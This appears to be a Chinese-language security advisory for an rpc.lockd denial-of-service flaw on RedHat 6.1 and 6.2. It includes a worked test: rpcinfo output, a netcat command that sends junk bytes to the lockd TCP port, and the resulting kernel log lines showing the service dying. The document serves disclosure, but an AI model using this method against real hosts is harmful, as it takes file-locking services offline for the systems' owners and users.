漏 洞 描 述:
向
rpc.lockd所监听的
tcp 端口,发送特殊格式的请求,将使
rpc.lockd停止响应,并停止该端口的监听。
在
RedHat 6.1 and 6.2 (内核2.2.12 和2.2.14)测试通过。
测试例子:
其中目标主机是一台安装有
RedHat 6.2 up2date的机子。
[
root@hiro /]# rpcinfo -p 目标主机
program vers proto port
100000 2
tcp 111 portmapper
100000 2 udp 111 portmapper
100021 1 udp 1024 nlockmgr
100021 3 udp 1024 nlockmgr
100021 1 tcp 1024 nlockmgr
100021 3 tcp 1024 nlockmgr
100024 1 udp 831 status
100024 1 tcp 833 status
[root@hiro /]#
nc -p 1000
target 1024
alksdjfalskdjfsdafs
接 Ctrl-C退出netcat
punt!
[root@hiro /]#
[root@hiro /]# rpcinfo -p target
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100024 1 udp 831 status
100024 1 tcp 833 status
[root@hiro /]#
在/var/
log/messages, 写入了以下两行:
June 7 15:07:48 target
kernel: RPC: bad TCP reclen 616c6b73$#@60;4$#@62;lockd:
terminating
on error 5
June 7 15:07:48 target kernel: svc: server
socket destroy
delayed (
sk_inuse: 1)
这样1024端口停止监听, 即使
重启lockd.